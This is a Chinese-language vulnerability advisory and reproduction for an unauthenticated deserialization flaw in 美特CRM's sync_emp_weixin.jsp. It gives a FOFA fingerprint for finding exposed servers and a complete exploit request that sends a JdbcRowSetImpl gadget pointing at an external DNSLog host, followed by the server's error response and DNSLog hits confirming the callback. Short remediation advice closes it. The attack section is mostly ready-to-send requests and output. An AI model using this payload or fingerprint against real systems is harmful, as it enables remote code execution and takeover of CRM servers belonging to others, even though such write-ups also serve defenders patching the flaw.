

美特CRM sync_emp_weixin存在反序列化漏洞

漏洞描述

美特CRM sync_emp_weixin存在反序列化漏洞，未经身份验证攻击者可执行危险代码，获取系统权限，导致网站处于极度不安全状态。

影响版本

美特CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/common/scripts/basic.js" && icon_hash="-932760915"

POC/EXP：

GET /weixin/admin/sync_emp_weixin.jsp?emp_json=[{"@type":"com.sun.rowset.JdbcRowSetImpl",{ "dataSourceName":"uueychday.eyes.sh","autoCommit":true}}] HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8, application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

发送请求

强制 HTTPS

历史

数据扫描

热加载

构造请求

Request

1GET /weixin/admin/sync_emp_weixin.jsp?emp_json=[{"type":22,"com.sun.rowset.JdbcRowSetImpl":{"dataSourceName":"ueychday.eyes.sh","autoCommit":true}] HTTP/1.1

2Host: 5

3Upgrade-Insecure-Requests: 1

4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36

5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

6Accept-Encoding: gzip, deflate

7Accept-Language: zh-CN,zh;q=0.9

8

9

10

Responses917bytes / 292ms

1HTTP/1.1 500 Internal Server Error

2Server: Apache/2.4.18

3Set-Cookie: JSESSIONID=07E2E1A5836F6309ABDC2A83C7BC9AF5; Path=/; HttpOnly

4Content-Type: text/html; charset=utf-8

5Content-Language: en

6Date: Wed, 30 Oct 2024 05:14:14 GMT

7Connection: close

8Content-Length: 9217

9

10<!DOCTYPE html><html><head><title>Apache Tomcat/8.0.30</title><style type="text/css">H1{font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;}H2{font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;}H3{font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;}BODY{font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;}B{font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;}P{font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A{color:black;}A.name{color:black;}.line{height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 - An exception occurred processing JSP page /weixin/admin/sync_emp_weixin.jsp at line 14</h1><div class="line"></div><p>type: Exception report</p><p>message: <u>An exception occurred processing JSP page /weixin/admin/sync_emp_weixin.jsp at line 14</u></p><p>description: <u>The server encountered an internal error that prevented it from fulfilling this request.</u></p></body></html>

DNSLog

WebLog

API

Rebind

Payloads

ueychday 退出

域名

搜索

子域名: ueychday.eyes.sh

监视刷新

ID	域名	Type	IP	Count	位置	时间	操作
74792907	ueychday.eyes.sh	A			江苏省	2024-13:14:15	删除
74792906	ueychday.eyes.sh	A			江苏省	2024-13:14:15	删除

Previous

1

Next

第1页 / 共1页, 共2条记录

删除所有记录

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本